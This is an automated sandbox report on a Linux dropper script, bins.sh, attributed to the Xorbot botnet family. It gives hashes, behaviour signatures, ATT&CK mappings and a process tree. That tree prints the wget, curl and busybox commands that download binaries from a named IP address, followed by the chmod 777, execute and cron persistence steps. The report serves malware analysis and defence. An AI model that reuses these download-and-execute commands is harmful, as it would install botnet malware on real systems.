Analysis
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max time kernel
149s -
max time network
153s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
04/12/2024, 14:37
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
d179667ead2f245ddba283f8e2fb59ef
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SHA1
8654aace077f9788caaf8d949452e5dcf73b6312
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SHA256
f379ab849a701f49f2fa39b75b82c5bc77dd368697aef31fdec28919506f60f6
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SHA512
c019f5fb06c6b1413fe9e3330ac0423f5bd9186353542aad29c195c17192fd3024fbed593cb199abcedc1d9187efda3b928bcf36cd346a3d9bc87d093500ea38
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SSDEEP
192:gVWERGiyF9rl3g6j6d0VJLbgFGiyF9rt6d0d:gUEi77xd
Malware Config
Signatures
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resource yara_rule behavioral2/files/fstream-1.dat family_xorbot -
Xorbot family
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Contacts a large (1644) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 700 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa 701 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa -
Renames itself 1 IoCs
pid Process 702 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.YYdEuV crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/780/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1090/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1020/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1062/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/13/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/96/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/841/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/923/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/4/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/845/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/934/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/819/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1046/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1102/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/728/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/750/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1013/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/969/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/936/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1019/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1098/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/741/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/872/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1097/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/767/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/987/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1022/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1035/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/731/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/903/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/973/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/404/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/770/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1085/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/882/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/952/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/14/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/733/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/816/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/855/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/839/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/908/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1011/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/282/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/716/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/821/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/835/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1052/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1063/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/708/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/928/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/956/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1032/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1003/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1033/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/filesystems crontab File opened for reading /proc/799/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/812/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/918/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/885/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/966/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/1036/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/745/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa wget File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa curl File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:666
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/bin/rm/bin/rm bins.sh2⤵PID:668
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/usr/bin/wgetwget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Writes file to tmp directory
PID:676
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/usr/bin/curlcurl -O http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:697
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Writes file to tmp directory
PID:699
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/bin/chmodchmod 777 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- File and Directory Permissions Modification
PID:700
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/tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa./olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:701 -
/bin/shsh -c "crontab -l"3⤵PID:703
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:704
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/bin/shsh -c "crontab -"3⤵PID:705
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:706
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/bin/rmrm olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵PID:708
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/usr/bin/wgetwget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵PID:711
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/usr/bin/curlcurl -O http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵PID:712
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD50bf48abd9f46ff73b8c2241772feb8f9
SHA1ed5e17521696b2c1c7648bc9bd26db4e9724a6af
SHA256a79c84bf9706b3ae871c57e5fbf373c05ec4528db5e94d8809704e3427226fdc
SHA512dbabfe5b5dc80a36bf52d74bea15dbea2f595203d5537d8265a0e846f12a3d67fabdd0e0db41070295fb3805575a028164d02cbd84f7f27d6ecd923fd43a74d2